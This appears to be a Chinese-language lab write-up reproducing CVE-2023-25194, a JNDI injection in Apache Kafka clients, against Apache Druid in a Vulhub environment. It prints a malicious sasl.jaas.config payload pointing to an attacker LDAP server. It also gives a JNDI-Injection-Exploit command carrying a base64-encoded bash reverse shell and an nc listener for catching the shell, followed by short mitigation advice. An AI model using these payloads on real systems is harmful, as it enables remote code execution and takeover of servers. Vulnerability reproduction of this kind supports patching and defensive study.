Apache Kafka JNDI注入注入漏洞(CVE-2023-25194)

基于Vulhub搭建的环境

一、漏洞概述

Apache Kafka是一个开源分布式消息队列,Kafka clients是相对应的Java客户端。

在版本3.3.2及以前,Apache Kafka clients中存在一处JNDI注入漏洞。如果攻击者在连接的时候可以控制属性的值为,则可以发起JNDI连接,进而导致JNDI注入漏洞,执行任意命令。sasl.jaas.configcom.sun.security.auth.module.JndiLoginModule
由于这个漏洞是存在于Java库kafka-clients中,所以我们需要在真实环境下找到使用了这个库的软件,且用户可以控制连接参数。
这个软件就是Apache Druid,其使用kafka-clients来连接Kafka作为其数据源之一。

二、影响范围

2.3.0 <= Apache Kafka <= 3.3.2

三、漏洞复现

1、访问IP:8888启动Apache Druid,漏洞在Load data中。Apache Kafka JNDI注入注入漏洞(CVE-2023-25194)_第1张图片
NEXT
Apache Kafka JNDI注入注入漏洞(CVE-2023-25194)_第2张图片
NEXT
Apache Kafka JNDI注入注入漏洞(CVE-2023-25194)_第3张图片
抓取的数据包样例(只取关键)
Apache Kafka JNDI注入注入漏洞(CVE-2023-25194)_第4张图片
构造恶意的LDAP URL,将对应位置替换

"bootstrap.servers":"127.0.0.1:6666",
              "sasl.mechanism":"SCRAM-SHA-256",
                "security.protocol":"SASL_SSL",
 "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.111.4:1389/xxxxxx\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"

实现原理:
攻击者启动 LDAP 服务器,并反序列化 LDAP 响应,攻击者可以使用该响应在 kafka 连接服务器上执行 java 反序列化链。

database.history.producer.sasl.jaas.configio.debezium.connector.mysql.MySqlConnector"com.sun.security.auth.module.JndiLoginModule required user.provider.url=“ldap://attacker_server” useFirstPass=“true” serviceName=“x” debug=“true” group.provider.url=“xxx”;"

getshell

1、JNDIExploit启动一个恶意的JNDI服务器,开启LDAP服务,利用此工具直接反弹shell,提取权限
样式:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反射shell命令(需要bash编码)"  -A ip

bash反弹shell编码前

bash -i >& /dev/tcp/192.168.111.3/9999 0>&1

将其进行编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4zLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

实例:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4zLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.111.3

Apache Kafka JNDI注入注入漏洞(CVE-2023-25194)_第5张图片
2、开启监听

nc -lvvp 9999

3、利用(此处反弹shell成功的前提是VPSIP地址,需要低版本的jdk)
Apache Kafka JNDI注入注入漏洞(CVE-2023-25194)_第6张图片
4、点击发送,静候几秒钟,反弹shell成功,
Apache Kafka JNDI注入注入漏洞(CVE-2023-25194)_第7张图片

四、漏洞防护

1、升级系统版本。
2、无法升级的用户可通过验证Kafka Connect连接器配置,仅允许受信任的JNDI配置来缓解此漏洞。

你可能感兴趣的:(Guess-Security,apache,kafka)